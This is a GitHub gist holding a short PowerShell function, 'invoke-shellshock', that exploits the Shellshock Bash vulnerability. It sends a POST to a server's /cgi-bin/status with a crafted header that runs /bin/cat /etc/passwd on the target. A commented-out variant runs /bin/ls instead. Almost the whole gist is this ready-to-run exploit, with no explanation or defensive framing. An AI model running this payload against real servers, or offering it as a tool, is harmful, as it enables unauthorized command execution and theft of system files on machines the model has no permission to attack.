Skip to content

Instantly share code, notes, and snippets.

@mendel129
Created December 2, 2015 09:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mendel129/ddef73a4a627530fe233 to your computer and use it in GitHub Desktop.
Save mendel129/ddef73a4a627530fe233 to your computer and use it in GitHub Desktop.
function invoke-shellshock($server)
{
(invoke-webrequest -Uri "http://$server/cgi-bin/status" -Headers @{"custom"="() { ignored; };echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "} -Method post).rawcontent
#(invoke-webrequest -Uri "http://$server/cgi-bin/status" -Headers @{"custom"="() { ignored; };echo Content-Type: text/html; echo ; /bin/ls . "} -Method post).rawcontent
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment